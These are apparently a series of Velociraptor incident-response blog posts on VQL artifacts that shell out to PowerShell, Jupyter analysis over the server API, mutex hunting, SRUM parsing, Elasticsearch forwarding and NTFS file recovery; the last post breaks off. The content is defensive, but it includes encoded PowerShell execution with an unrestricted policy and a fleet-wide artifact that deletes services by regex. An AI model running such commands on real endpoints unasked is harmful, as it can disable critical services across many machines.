One way to extend VQL is through defining Artifacts. Artifacts are a way to encapsulate other VQL queries in YAML files which can then be shared and added to Velociraptor at any time. Artifacts have a name by which they can be accessed in other queries. For example

 SELECT Name, SID FROM Artifact.Windows.Sys.Users()

The above query will simply run the artifact’s VQL query and emit each user on the system. We can now use it from our own query, filter it etc.

Extending VQL via external code

While the above method is useful, it can only really wrap existing capabilities in Velociraptor — We are just wrapping an existing VQL query in an artifact reusing existing plugins, not extending the basic capabilities of Velociraptor.

Although VQL already comes with a lot of built in plugins, sometimes what we actually want is not built into Velociraptor itself. This might be because we never thought of the need (please file a bug for feature requests!) or because it simply would not make sense to include the functionality directly inside Velociraptor.

Example — List Local Administrator Group Users

For example, suppose we wanted to list all the users that belong to the local administrator group on Windows. This information is obviously important because local administrators are extremely powerful accounts, and are sometimes granted to users who need administrator access to their local workstation. Often this access is not recorded or tracked properly. Even worse, sometimes local user accounts are created with local administrator group membership allowing those accounts to be logged into without AD oversight or controls. See this, and this for more information.

While Velociraptor does not offer the functionality to query local groups, the functionality is readily available via PowerShell Get-LocalGroupMember commandlet.

Get-LocalGroupMember -Group “Administrators”

Let’s turn this Powershell commandlet into a Velociraptor artifact

name: Custom.GetLocalAdmins
description: |
   Gets a list of local admin accounts

reference:
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/get-localgroupmember?view=powershell-5.1

# Can be CLIENT, CLIENT_EVENT, SERVER, SERVER_EVENT
type: CLIENT


parameters:
 - name: script
   default: |
       Get-LocalGroupMember -Group "Administrators" |SELECT -ExpandProperty SID -Property Name, PrincipalSource |select  Name, Value, PrincipalSource|convertto-json

sources:
  - precondition:
      SELECT OS From info() where OS = 'windows'

    queries:
    - LET out = SELECT parse_json_array(data=Stdout) AS Output
          FROM execve(argv=["powershell",
               "-ExecutionPolicy", "Unrestricted", "-encodedCommand",
                  base64encode(string=utf16_encode(
                  string=script))
            ], length=1000000)
    - SELECT * FROM foreach(row=out.Output[0],
      query={
          SELECT Name, Value AS SID FROM scope()
      })

The powershell script simply runs the commandlet and extracts the SID and the username, converting the result to JSON. On the VQL size we encode the script and shell out to Powershell, then decode the output from JSON and produce VQL rows.

If we now collected this artifact as a hunt from our entire deployment we could have a listing of all local admin accounts within minutes from thousands of endpoints making it trivial to audit.

The whole VQL query and included powershell are now wrapped in an artifact, which can be called transparently from other VQL statements, further filtered etc. In fact using this methodology encapsulates the exact way the Artifact works, so that callers of this artifact do not really care (and cant really tell) that PowerShell is used instead of having a built in Velociraptor command.

We effectively just extended the capabilities of the endpoint tool without needing to rebuild or deploy a new version of Velociraptor! This allows for unprecedented flexibility in our DFIR work.

Example — remediation

For the next example, suppose we discovered a widespread infection within our network. Typically, the malware installs various methods of re-infecting a host, and a common way is to install a malicious service (See Att&ck Matrix 1035). The Atomic Red Team has an example simulation:

We can collect the Windows.System.Services artifact and identify the malicious service immediately

But now we would like to automatically clean it. We know the malicious service PathName value should match the keyword “marker.txt” (In reality we can come up with other unique keywords for the malicious service). So we just write the following artifact:

name: Custom.RemoveService
description: |
    Clean up malicious services.

type: CLIENT

parameters:
 - name: script
   default: |
     $service = Get-WmiObject -Class Win32_Service -Filter "Name='%v'"
     sc.exe stop "%v"
     Start-Sleep -s 10
     $service.delete()
 - name: PathNameRegex
   default: marker.txt

sources:
  - precondition:
      SELECT OS From info() where OS = 'windows'

    queries:
    - LET services = SELECT Name, PathName FROM Artifact.Windows.System.Services()
      WHERE PathName =~ PathNameRegex
      AND log(message="Removing service "+Name)
    - SELECT * FROM foreach(
        row=services,
        query={
          SELECT Name, PathName, Stdout, Stderr FROM execve(argv=["powershell",
              "-ExecutionPolicy", "Unrestricted", "-encodedCommand",
              base64encode(string=utf16_encode(
                string=format(format=script, args=[Name, Name])))
          ])
        })

The powershell component actually stops, and removes the bad service, while the VQL component runs the Windows.System.Services artifacts, filters out the keyword to identify the malicious service and then calls powershell to remove it.

Now when collecting the artifact, we can see which machines had the malicious service installed, and how the removal went. We can then collect the Windows.System.Services artifact again to check that services were correctly removed.

Running a deployment wide hunt that collects this remediation artifact will automatically remove the bad service from all connected endpoints within a couple minutes. The hunt will then be applied on new endpoints as they come back online.

Conclusions

Ultimately the VQL artifacts just delegate the heavy lifting to Powershell. This means that Velociraptor does not need to implement these feature internally since we can already rely on Powershell’s wide support for many products and system administration tasks. Formatting powershell output in machine readable format (like JSON) allows VQL to emit rows which are indistinguishable from those emitted by built in plugins — they can still be filtered and reused as usual in other VQL statements.

So what advantages does this present over just running remote powershell scripts? Why do we even need Velociraptor at all?

The main advantage is that Velociraptor has much wider reach — endpoints do not have to be accessible over WinRM, i.e. they can be at home or at a coffee shop, instead of having to stay on the corporate network. Since we never need to actually connect to the endpoint, we can reach it even when it is located behind NAT or filtered networks. Some road warrior type users are never present within the corporate LAN.

Additionally, when you run a Velociraptor hunt and the client is not immediately online, the hunt is scheduled until the endpoint comes back online. We can be sure to have wide coverage of our endpoints because we don’t need to chase them and try to remotely access them when they come online (some remote machine connect for minutes a day or at unusual timezones). We just set the hunt and forget it — the endpoint will remove the malicious service when it is ready automatically.

Finally, having the flexibility to encode powershell snippets inside artifacts allows us to develop reusable code. The users of our artifacts don’t really care how it works but can call it and tweak it using other VQL or simply by providing parameters in the GUI. This leads to excellent knowledge sharing and code reusability within the community.

Finally it must be said that remediation is inherently a risky activity. Most artifacts passively collect data from the endpoint, since Velociraptor is primarily an endpoint visibility tool. Deliberately making changes on the system carries with it an inherent level of risk and should be done very carefully. Like the Hippocratic Oath, we must “first, do no harm” (Primum non nocere). For example, if our regular expression selecting the malicious services is too loose we might end up removing many critical services from critical systems! Be sure to test your remediation artifacts first by disabling the actual removal script and seeing how many services we would attempt to remove.

Velociraptor Post-processing with Jupyter Notebook and Pandas

Fri, 06 Mar 2020 00:38:44 +0000

Velociraptor is a powerful endpoint visibility tool. The unique strength of the tool is being able to collect endpoint state by using the Velociraptor Query Language (VQL) via custom or curated “Artifacts”. Not only can one collect artifacts from a single host, but one can collect the same artifact from many thousands of hosts within seconds.

Being able to collect a lot of data quickly is awesome, but the flip side is that a lot of data makes it harder to review manually. We can always tune artifacts by editing the VQL to be more surgical which helps with reducing the collected data, but we would often still like to be able to post process and understand the data we get back in a convenient way.

Velociraptor allows you to download the results of a hunt into a zip file. In the zip file, you can find a combined CSV file containing the results from all endpoints. You can process this file using an external tool or upload to a database.

In a previous article we have seen how to forward Velociraptor collected data to Elastic and Kibana for post processing. While this is certainly useful, we often want to quickly analyze the data we have and provide a working document of our findings without needing additional infrastructure.

Jupyter Notebook

Jupyter notebook is an amazing project fusing interactive data analysis and documentation into a single application. A Jupyter notebook consists of a series of cells, each cell can be either markdown formatted text, or a Python code snippet, which gets evaluated and the results are stored in the cell’s output section. The notebook contains the analyst work as they are working and can then be exported as a final report using a variety of formats (pdf, html etc).

The notebook approach is ideal for DFIR investigations. Since we don’t typically know what is important when we start our investigation, we go through checking various things and drilling down into various evidence sources. The notebook keeps track of all our work and records our analysis until we narrow down the intrusions, documenting any dead-ends we might encounter and documenting our findings in a logical easy to follow way.

In this article I will show how to use Jupyter to post-process some simple Velociraptor hunts to perform a typical DFIR response.

Note that while Jupyter and Pandas are both written in Python you do not actually need to know Python to use Jupyter with Velociraptor. Jupyter simply evaluates VQL statements on the Velociraptor server and displays their result in the notebook. Similarly you don’t need to be a VQL expert — Event a basic understanding of VQL is sufficient to be able to drill down into the hunt results.

Configuring Jupyter access to the Velociraptor Server

In order for Jupyter to connect to the Velociraptor server, we will use the Velociraptor API to issue VQL queries directly on the server.

By default, the server’s API service is not exposed to the internet. We can modify the server’s configuration to allow this by simply changing the API’s bind port to 0.0.0.0

In our example we have an Ubuntu server running Velociraptor in the recommended way. When used in this way, Velociraptor runs under a low privilege user account called “velociraptor”.

We therefore need to change to that user, edit the configuration file and restart the service. Finally we check that the service is listening on all interfaces with port 8001.

Creating an API key

In order to allow access, Velociraptor requires an API key file to be created. This file contains certificates and key material for authenticating an API client with the server. Simply generate a new key and name it with a unique name (In our case we will call the key Mike)

Since release 0.4.0 you will also need to explicitly grant the key query permissions

Installing Jupyter and Pandas

Jupyter and Pandas are written in Python and therefore can be easily installed using the pip package manager that comes with python. We will also use Velociraptor’s python bindings to talk with the server (If you want to plot graphs you will also need to install matplotlib).

# pip install pyvelociraptor jupyter pandas

Next copy the API key we generated on the server to your workstation and make sure that the api_connection_string is pointing to the server’s public DNS name

The easiest way to provide Python programs with the API key is to simply set the path to the key file in the environment variable VELOCIRAPTOR_API_FILE. We can then launch the Jupyter notebook.

This will open the browser and should present the Jupyter web app. We can now create a new notebook using the regular Python3 kernel.

Running VQL in the notebook

Jupyter notebooks provide cells with input editable areas, where you can write python code. The code will be evaluated when pressing CTRL-Enter and the result is shown in the output part of the cell.

Pandas is a popular data exploration and transformation library which works great with Jupyter. We will use Pandas to explore the result of VQL queries we issue to the server.

To test our connection, we run the simple query “SELECT * FROM info()” which just provides information about the running platform.


import pandas
from pyvelociraptor import velo_pandas

pandas.set_option('display.max_colwidth', None)
pandas.set_option('display.max_columns', None)
pandas.set_option('display.max_rows', None)

pandas.DataFrame(velo_pandas.DataFrameQuery("""
  SELECT * FROM info()
"""))

If all goes well, the Velociraptor Python bindings will attempt to connect to the server, run the VQL statement on the server and present the results as a table within the notebook.

NOTE: The VQL queries we issue in the notebook run directly on the server. You can do anything with these queries, including collecting new artifact on any endpoint, starting and stopping hunts and inspecting any collected data. Velociraptor currently does not offer fine grained ACLs — being able to run VQL is effectively the same as having root level access everywhere. Please take care to secure the API key file on your workstation.

Using Jupyter to investigate a hunt

With the power of Jupyter and VQL you can do some really sophisticated analysis, but in this section I will just demonstrate a very typical process of drilling into data, including and excluding filters and identifying important trends.

For this example I will schedule a collection of the windows task scheduler files in a hunt. Malware typically installs scheduled tasks to ensure persistence — the task will run at a later time and will guarantee the malware is re-installed.

We schedule the Windows.System.TaskScheduler hunt to collect and analyze all scheduled tasks.

We schedule the Windows.System.TaskScheduler hunt to collect and analyze all scheduled tasks.

In a real investigation, the hunt will collect all the scheduled tasks from thousands of machines, making manual analysis tedious and challenging.

We can see the hunt id assigned to this hunt. We will need this ID when querying through the API

We can see the hunt id assigned to this hunt. We will need this ID when querying through the API

We start off by exploring the results of the hunt — simply select all columns from the hunt results but limit the result of only a small set for inspection. We will call the hunt_results VQL plugin and provide it with the hunt id, the artifact we collected and the source in the artifact.


pandas.DataFrame(velo_pandas.DataFrameQuery("""
SELECT *
FROM hunt_results(hunt_id='H.a127011b',
    artifact='Windows.System.TaskScheduler',
    source='Analysis')
LIMIT 50
"""))

It is very important to limit the query otherwise the server will send too many rows and take a long time. If this happens you can select Jupyter’s Kernel->Interrupt menu to abort the query.

The collected hunt contains too many columns for our current purpose, so we simply restrict the columns shown to FullPath, Command, Arguments and Fqdn.

This looks better!

We know that many malware scheduled tasks tend to run cmd.exe as the command, so we want to only check for tasks running cmd.exe next. We simply add a WHERE Command =~ ‘cmd.exe’ clause (In VQL =~ is the regex match operator).

After some investigation we determine that the commands running silcollector are actually legitimate. Also dsregcmd.exe is not related to the malware and is legitimate. Simply add some more filters to exclude those conditions.

This isolated the data we actually want. In a large malware infection, we might see many suspicious tasks deployed to many hosts at the same time. We can repeat the process of including, and excluding tasks based on various criteria to get an idea of which machines are compromised.

Plotting graphs

Pandas also supports plotting graphs through matplotlib. The next VQL snippet simply extracts the kill timestamp (when a flow ended) from a particular hunt to visualize how this hunt actually progressed over time. We can use Pandas to manipulate the timestamps and then plot them into the notebook.

As can be see in the above plot, this particular hunt collected artifacts from about 1750 endpoints within about a minute (collecting the machines currently connected to the server) then as the next few days progressed, more machines came back online completing the collection. Slowly the total number reached gradually the entire fleet.

This graph demonstrates that in practice, while we can query the hunt immediately in order to triage those machines currently online, as machines are added to the hunt over time the hunt’s data is growing and changing.

Jupyter allows each cell to re-run and refresh its output at any time. For important cells we might want to re-run them a few days later to ensure more complete data coverage.

Conclusions

Jupyter is a great analysis tool because it provides for a way to document our reasoning behind our findings. We can keep a record of all the things we checked, together with the relevant VQL queries. Once complete, the notebook can be exported to HTML for a static view of our findings and can form part of our report.

Through the Velociraptor API we are able to issue VQL queries directly to the server. This avoids having to export data, move it to another system, insert into another database and then query it. The query will always access the latest data available on the server.

Although Velociraptor might feel a little like a database as we query it to post process hunts, it does not actually maintain any indexes. This means that each query, Velociraptor is effectively doing a full row scan on the entire hunt result. This can get quite slow for artifacts that collect huge amounts of data. However, in practice we tend to collect surgical artifacts with a relatively small data set by selecting pre-filters within the client side artifacts. There is a tradeoff between being surgical in collection and managing large data sets in post processing.

If you see yourself executing a lot of queries repeatedly on the same dataset it is probably faster to upload it to Elastic. However, in most cases, we simply want to examine one hunt at a time, and triage the results in a fairly rudimentary way, so that row scan is acceptable.

I especially like the Jupyter notebook and intend to write entire reports in it as a way of keeping track of any investigation details and results obtained.

I find that in practice I tend to write very simple VQL queries into the notebook. Most of the time I narrow the columns down, then add inclusion and exclusion filters to see the relevant data. Although VQL is extremely powerful, I think most people would find the simple VQL in the notepad pretty straight forward. Give it a try and see how you go!

Hunting Malware using Mutants

Sun, 12 Jan 2020 00:38:44 +0000

By Mike Cohen

Recently Velociraptor has gained some interesting process analysis features. This is the first in a series of short articles discussing how you can use these new features to inspect suspicious processes on your endpoint and hopefully catch malware before it can gain a long term foothold.

This article will focus on windows Named Mutex Objects (On windows these are called Mutant Objects for some reason).

Mutants and Malware

What is a Mutant? In the Windows world, a Mutant is a kernel object which allows programs to synchronize events between them. Malware often uses a named Mutant to ensure it does not re-infect the same machine and only run a single copy of the malware.

For example, consider malware which is delivered via a malicious word document. Each time the document is opened, the malware may unnecessarily reinfect the machine, increasing its chance of detection. To avoid this, the malware attempts to open a named mutex with a predetermined hard coded name. If the CreateMutex call succeeds then the malware can continue to run. If the call fails it is most likely because another copy of the malware is already running, therefore the malware will exit.

The actual name of the mutant is randomly chosen but typically predictable. Many malware variants hard code the name (more on this below). Services such a Virus Total and malware classification and analysis systems will often record the names of the created Mutex objects in their analysis. For example consider the following hash I grabbed in random from the OSINT thread feed at https://osint.digitalside.it/Threat-Intel/digitalside-misp-feed/5e1533e4-bb94-4c3f-82c2-2263c0a8018c.json . This particular alert concerns a specific malware detected by VirusTotal.

It looks pretty nasty. VirusTotal also documents some interesting behavioral characteristics. Specifically we see the malware creates a bunch of Mutex objects with specific names

We can use this information to hunt for the specific mutexes in our environment to check if the malware is installed anywhere. Even if we don’t get a hit right away, it is still useful to collect all the Mutant objects on our endpoints anyway and record them for historical purposes — we can then routinely run known bad mutant names against our historical record to detect past compromises we may not have been aware of.

Simulating Malware that uses Mutants

Let’s emulate the behavior of a typical rootkit malware. The following simple PowerShell script simply tries to acquire a global mutant and if successful proceeds to sleeping for some time. If the script is unable to acquire the mutant, it will simply exit.

$createdNew = $False
$mutex = New-Object -TypeName System.Threading.Mutex(
       $true, "Global\MyBadMutex", [ref]$createdNew)
if ($createdNew) {
  echo "Acquired Mutex"
  sleep(100)
} else {
  echo "Someone else has the mutex"
}

Lets test this script — the first time it is run from one terminal the mutant is acquired. If run again the script is unable to obtain the mutant and simply exits after printing a message.

Velociraptor has an artifact specifically designed to collect Mutants from Windows endpoints. Let’s take a closer look at the VQL behind the Windows.Detection.Mutants artifact

The artifact actually offers two methods for collecting Named Mutex objects:

Collecting via the handles() VQL plugin will enumerate all open handles for each process and filter out only the Mutant handles.
Using the Kernel Object Tree, the winobj() VQL plugin enumerates the kernel’s object namespace.

Let’s see what this artifact returns (I will filter the GUI to only show the Mutant we created to avoid confusion, since there are typically many Mutants on a real system created by legitimate software). The following figures show the bad mutant as discovered via the two supported methods

Mutant discovered by the handles() plugin method

Mutant discovered by the handles() plugin method

Mutant discovered by inspecting the Windows Object Namespace

Mutant discovered by inspecting the Windows Object Namespace

Clearly enumerating the handles of each process is much more useful — we can tell the process that actually holds the mutant handle (which in practice would be the rootkit process itself — or the host process in case of dll injection). Enumerating the kernel’s object namespace does not actually reveal a lot of context information but does positively identify the mutant’s presence. (The entire collection took around 6 seconds most of the time was spent enumerating all process handles).

In practice enumerating the handles of all running processes is much more expensive than simply enumerating the kernel’s namespace. Usually we just want to confirm or deny a specific Mutant name (which might appear in our threat intelligence stream) and for this it is sufficient to enumerate the kernel’s object namespace. Additionally, Velociraptor is unable to attach to some processes in order to enumerate their handles (e.g. system level processes) so it is not always able to get all handles. However, enumerating the kernel’s object namespace works better.

Turning detection into monitoring

While hunting for mutants periodically across the network is not too difficult (simply schedule a hunt for the Windows.Detection.Mutants artifact) what would be really nice is to get a continuous live stream of mutants as they appear on the endpoint. This is a classic example of turning a Velociraptor artifact into a monitoring artifact.

I will start off by reusing the Windows.Detection.Mutants artifact. I will only use the method which enumerates the kernel namespace via the winobj() VQL plugin — first I search for it then click the edit button.

I will change the type of the artifact to CLIENT_EVENT — this will allow Velociraptor to run it as a monitoring artifact on the endpoint.

What I actually want to collect are names of new mutant objects as they are created. I will enumerate the mutants periodically and then simply send the new mutants that appear since the last time as events to the server.

The diff() VQL plugin is perfect for this — the plugin simple runs a query periodically (e.g. every minute) then emits the rows which have been added or removed from last time.

Now I will simply add the monitoring artifact to the client’s event monitoring table. This will get the endpoint to sync its monitoring artifacts and begin watching for new mutants.

A short time later, the events begin flowing to the server. I will run my PowerShell script to generate some bad mutant names and watch it in the GUI

Once the event monitoring queries are synced with the client, the client will continue monitoring for new mutants — event when the endpoint is offline! The events will simply be queued on the endpoint until such time it can deliver them to the server.

Conclusions

In practice this is only a part of a larger solution. The mutants we collect from the endpoint are simply collected in the Velociraptor data store as large CSV files. It is possible to quickly search them (e.g. with a yara rule) and determine if any of the endpoints have a particular mutant name. For example if you have a threat feed with mutant names you may simply scan over all your historical files periodically.

Alternatively you can forward these events to a SIEM or Elasticsearch for easier integration with existing tooling (See Velociraptor to Elastic). Velociraptor’s role is simply to collect the data — indexing and searching is left to you.

Hunting based on mutant name is an old technique and many new malware tools have adapted to produce semi-random mutant names, unique for each machine (e.g. they might hash the hostname to get a unique but stable mutant name). By collecting mutant names from all machines in your deployment you might be able to identify suspicious names even if they are unique.

Have you had much success hunting malware based on mutant names? Add your comments below to share your experiences…

Digging into the System Resource Usage Monitor (SRUM)

Tue, 31 Dec 2019 00:38:44 +0000

Uncovering history with Velociraptor

By Mike Cohen

Commonly in many incident response scenarios we need to gather evidence of program executions. For example, a phishing email delivering malware was sent to a user — did the user click on it? Did the malware run? was the email forwarded to any other users?

One of the most useful sources of evidence of execution on Windows is the System Resource Usage Monitor (SRUM). It was first described by Yogesh Khatri in the seminal paper “Forensic implications of System Resource Usage Monitor (SRUM) data in Windows 8”.

SRUM is a feature in modern Windows systems which collect statistics on execution of binaries. The information is stored in an Extensible Storage Engine (ESE) database. ESE is Microsoft’s proprietary single file database format, acting similarly to SQLite, as a default storage engine for many applications — including the SRUM database.

As from the 0.3.7 release of Velociraptor, an ESE parser is built into the client, allowing VQL artifacts to directly query ESE databases. This opens up the exciting possibility of extracting and querying information from the SRUM database directly on the endpoint.

Although this post will not go into detail on SRUM itself (This is covered in detail elsewhere), I will describe how Velociraptor’s SRUM artifact can be used to hunt efficiently across many thousands of endpoints to collect evidence relevant to DFIR investigations.

Have you ever noticed the windows task manager’s “App History” tab?

The Task Manager App History tab

The Task Manager App History tab

This tab shows running counts of many applications, broken by user that ran them, including network traffic, and total CPU time. Where does the information come from?

It turns out that the SRUM database is stored within tables inside the ESE database at %windir%\System32\sru\SRUDB.dat.

Let’s examine Velociraptor’s Windows.Forensics.SRUM artifact

The artifact contains several sources — examining a different table within the SRUM ESE database. As can be seen, the ESE database is parsed using Velociraptor’s raw NTFS parser since it is usually locked while the system is running. The artifact allows filtering for a specific application name by regular expression.

The SRUM database actually contains many tables collecting different runtime telemetry. Some of these tables are not publicly documented but may still contain valuable information. It is worthwhile inspecting the raw database file using an external tool (e.g. Nirsoft **ESEDatabaseView**). The Windows.Forensics.SRUM artifact will by default upload the raw ESE file to the server as well as parse it.

To demonstrate the artifact, I am now going to collect it from one of my endpoints.

I simply search for my endpoint in the GUI, then click* “Collect More Artifacts” *and search for SRUM in the search box. I then add this artifact and click “Next” to launch it.

The above shows that the endpoint took around 80 seconds to collect the entire artifact. This includes uploading the 28MB SRUM database, parsing some of the tables in it, and uploading the parsed results.

Viewing the logs generated by the executing query give an indication of how the query is progressing.

The Execution Stats source

Let’s inspect a sample from the “Execution Stats” source

We get some interesting information, such as the time an application ran (this is determined by the EndTime and DurationMS — the **Timestamp **column actually refers to when the ESE record was written which may be some time later), the user who ran it, and the duration it was executing. Sometimes the information also includes valid network transfer count which might be useful for some investigations (e.g. exfiltration).

Application Resource Usage

This artifact source stores cumulative information about the running executable. Therefore it can not be used to determine exact start time (The Timestamp field corresponds to when the record was written to the ESE database). The advantage here is that the full path is provided, making it easy to search for executables running from unusual locations (e.g. temp folders and network drives).

Hunting the SRUM database

Sometimes we need to determine which endpoint in our fleet has run a particular binary — perhaps with a unique name. For example, a phishing campaign might launch a trojan malware with a specific name.

To simulate this I copied a binary to the user’s temp folder with the unique name sdfjhsdfc.exe. I then ran it for a while.

Next, I created a hunt, but this time, instead of dumping the entire SRUM table, I filtered the results by the name of the binary.

Within minutes I was able to determine exactly which user executed the binary, and on which endpoint. If a machine is not online when I first launched the hunt, it will run the hunt when it next connected to the server and deliver its results later.

Conclusions

SRUM is an excellent source of evidence of execution of binaries. In practice we often see upwards of 60 days of evidence within the ESE database — so it goes back quite a long time!

There is a wealth of information available within the SRUM database, but current Velociraptor artifacts have some limitations:

The data written to the SRUM ESE database is first cached in the registry and then flushed to the database periodically (This is why much of the time the Timestamp field will be much later than the EndTime). Currently Velociraptor’s artifacts are not able to parse the registry cache so very recent executions will probably be missed.
Currently Velociraptor only parses a few tables from the SRUM database, but many additional tables appear to be useful.

These limitations are likely to improve in future as more artifacts are written to fully extract information the SRUM database.

Training

If you happen to be in Sydney or Melbourne and would like to learn more about incident response techniques such as the SRUM database and how to apply them with Velociraptor, consider joining us in our upcoming training events.

Velociraptor to Elasticsearch

Sun, 08 Dec 2019 23:50:52 +0000

Taking your data elsewhere…

Since release 0.3.5 Velociraptor includes an Elastic VQL plugin plus two built-in server artifacts that demonstrate how to make use of this plugin.

Set your data free!

Velociraptor is great at collecting oceans of information from a vast fleet of client machines but that information is, by default, only stored locally on the Velociraptor server.

In a typical deployment, responders and analysts tend to either…

use the VR GUI to browse/search the collected data, or
download/retrieve the data in the form of CSV or JSON files and work with it manually, possibly through an automated sequence of “post-processing” steps.
query the data via the Velociraptor API

The problem is that beyond the simplest deployment scenarios these approaches run into limitations pretty quickly due to the 3 Vs (Velocity, Variety & Volume) of data in modern IT environments. By design Velociraptor is a high-performance data collection tool and doesn’t intend to be an information management or analytics tool. For short-term/temporary deployments the included data management capabilities may be quite sufficient but for long-term/permanent deployments we don’t want our data to be so self-contained. We want to scale easily and reap the benefits of correlating our VR data with other security data sources, for example firewall/IPS logs and other detection systems.

In the DFIR and InfoSec world many popular tools rely on the Elastic Stack to provide backend storage and analytics capabilities rather than reinventing the wheel in that regard. Having the data in Elasticsearch means that you can apply your standard analytics tools and techniques without much concern for the origin of the data, and thus have a unified view of data from a variety of disparate sources.

Velociraptor supports this information management approach by providing out-of-the-box Elastic plugin and two VQL artifacts which together provide the capability of sending data to Elasticsearch.

Sending Flows to Elastic

The first VQL artifact that we will use to accomplish our goal is named Elastic.Flows.Upload

This artifact sends the results of Flows to Elasticsearch. It’s the easiest one to get started with because all you have to do is add the artifact to Server Monitoring and tweak a parameter or two if necessary.

This is where Server Monitoring artifacts are hidden!

This is where Server Monitoring artifacts are hidden!

As you can see in the screenshot below, the default parameters will work if you have Elasticsearch installed locally and listening on the default IP and port.

If not then you can easily change these details to match your environment. The artifact parameter named ArtifactNameRegex defaults to including the flow results from all artifacts. If you don’t want the output of all artifacts to go to Elastic then here you can also specify a subset of artifact names using a crafty regex.

Once you’ve added the *Elastic.Flows.Upload *artifact to Server Monitoring you can now kick off a flow or two to generate some data. Then go look in Elastic (via Kibana of course, but remember to first create a suitable index pattern so that you can see the data! An initial Kibana index pattern of “*artifact_**” will have you covered.)

Whoa! It actually worked!

Whoa! It actually worked!

You’ll notice that the Elastic index name is based on the Velociraptor client artifact name. So if you prefer, you can create distinct Kibana index patterns that will allow you to view and search through only a single artifact type at a time.

Expanding the view for a single document you should see something like this:

And that’s how easy it is to get your data into Elastic!

If you have an Elasticsearch cluster that uses authentication, non-standard ports or other customizations, you can create a custom artifact by copying the Elastic.Flows.Upload artifact and adding additional parameters to it in order to make it suit your non-standard environment.

Sending Client Events to Elastic

This is slightly less easy than the previous step but only because it requires that you first configure one or more artifacts to collect client events.

Once the client events are being collected and received by the VR server, the Elastic.Events.Clients artifact will take care of forwarding these events to Elastic .

The artifact supports forwarding events from 4 built-in client event artifacts by default. These client event types can be selected/deselected and with a bit of customization even more types can be added to suit your needs:

Windows.Detection.PsexecService
Windows.Events.DNSQueries
Windows.Events.ProcessCreation
Windows.Events.ServiceCreation

To get the client events flowing to Elastic we must add the *Elastic.Events.Clients *artifact to Server Monitoring, just as we did with the Elastic.Flows.Upload artifact in the previous section.

Select the Client Artifacts that you are already collecting

Select the Client Artifacts that you are already collecting

When adding the artifact make sure to select the client event types that you would like to have forwarded. Also configure the Elastic IP:port. If your Elastic server needs further options than are available in the artifact parameters then simply create a copy of the Elastic.Events.Clients artifact and add the additional options to the custom artifact.

As before, we now go to Kibana to check out the results…

Are you tired of winning yet?

Conclusions

By integrating Velociraptor with the mature and widely-adopted Elastic Stack we can achieve significant scalability benefits. This also means that Velociraptor data can be made available to analysts who may not have the time or inclination to learn yet another tool. Having the data in Elastic also allows us to leverage the many excellent analysis and detection tools that have blossomed around the Elastic ecosystem, as well as make use of existing organizational expertise in these tools. The data can furthermore be enriched, combined and correlated with data from a wide variety of security tools that make use of Elastic as a data backend.

Recovering deleted NTFS Files with Velociraptor

Fri, 15 Nov 2019 00:38:44 +0000

By Mike Cohen

On a recent engagement we responded to an intrusion where the attacker has added a new scheduled task to the Windows Task Scheduler directory (%systemroot%\System32\Task) some time ago. This is a common TTP for achieving persistence (See Mitre Att&ck). Unfortunately the actual task file was later removed and event logs were cycled past the time of interest.

In that case we were able to use Velociraptor to employ some deep forensic techniques and with a bit of luck were able to recover the deleted task file.

In this post I will explain the technique and demonstrate it on a deliberately deleted file. It should be noted that this technique relies on the file not being overwritten and the MFT entry not being reused by the system. So there is a rather large probability that it won’t work for any specific file. It is worth knowing though, just in case you get lucky and are able to recover a file critical to your incident!

NTFS and The Master File Table

On Windows systems the most common filesystem is the NTFS filesystem. I won’t go into details about NTFS as there are many great references — the following description is extremely simplified and mentions just the concepts required to follow the discussion.

NTFS uses a large file called the $MFT — the master file table, containing the metadata of all files on the volume. This file is essentially an array of equal sized structures called MFT entries. Each entry has an MFT ID (which is the index of the entry in the array). Thus MFT Entry 0 is the first entry in the $MFT file, entry 100 is the 100th entry and so on.

Each file on disk is represented by one or more MFT entries. In NTFS, files contain multiple attributes, such as the file’s names (long name and/or short names) and standard information like timestamps etc. The file’s MFT entry contains information about the file’s attributes. One of the most important attributes for a file in NTFS is the $DATA attribute — which is also stored in the MFT entry for the file. The $DATA attribute contains the file’s runlist — essentially a list of clusters (disk sectors) containing the file’s actual data.

When a file is deleted, the MFT Entry for the file is marked as unallocated and is free to be used by the Operating System to store another file. If we are lucky though, the OS has not reused the MFT entry for the deleted file of interest, and we would be able to still read the data.

Additionally, when a file is deleted, the blocks that store the file’s data are also marked as unallocated, and are free for reuse — but they are not actually wiped and so might be available for recovery.

This post is about trying to recover such deleted files from NTFS. This is the realm of deep forensic analysis but Velociraptor allows us to perform this analysis instantly and remotely on the live system — giving a unique capability for recovering evidence of intrusions quickly and efficiently.

Scenario

To demonstrate this scenario I will create a file called “secret_file.txt”. I will paste a familiar text into the file. I will then delete the file and try to recover it using deep NTFS forensic analysis.

The setup

I will now dump the MFT from the endpoint by collecting the Windows.NTFS.MFT artifact.

This artifact will cause the endpoint to parse the $MFT file and emit a single row for each MFT entry that represents a file on disk. The VQL Query shown above simply calls on the parse_mft() VQL plugin. Note that this is different than simply collecting the $MFT file as can be done with the Windows.KapeFiles.Targets artifact — in that case we still need to parse the $MFT with another tool. This time we parse the $MFT on the endpoint itself and simply stream the results to the server.

The nice thing about parsing the entire $MFT is that we now have a complete record of all files on the system (without having to walk directories etc). However this table is rather large! On my test system the produced CSV file is over 130mb in size (Being text it compresses really well though!).

Performance check

This particular collection is rather heavy so I always check Velociraptor’s impact on the endpoint when I run such heavy collections. I simply open the Host Information screen and click the VQL Drilldown to see the client’s CPU and memory footprint as the query is running (Velociraptor collects its own footprint telemetry constantly).

In this case the query took around 5 minutes to fully complete, the CPU load spiked up to 150% for about 1 minute and the rest of the time was spent sending the large payload to the server with minimal CPU utilization. Top memory footprint was 120Mb for a few minutes falling to the baseline of 30mb quickly after the query completed.

If the collection was taking too long or using up too many resource on the endpoint, I can always cancel it by clicking the “Stop” button in the Collected Artifacts GUI. Velociraptor will immediately abort the query on the endpoint when the collection is cancelled in the GUI.

Viewing the results

We can view the results of the query by clicking the Results tab. We see a number of useful columns including the EntryNumber (i.e. the MFT ID we discussed before), the InUse column indicates if the file is still in use or deleted as well as the full path of the file stored at that MFT ID. Note that this artifact simply prints the file stored at each consecutive MFT entry — there are over 255,000 rows in our example! (Not shown are created and modified timestamps as well for each file)

The Velociraptor GUI only displays the first 500 rows from each artifact in order to keep the GUI fast and responsive. Because this query returned over 250k rows, we would need to download the data and post-process it. The easiest way is to prepare a download package and download it from the provided link. The CSV file can then be extracted and processed with other tools (e.g. grep or a database).

Tweaking the query

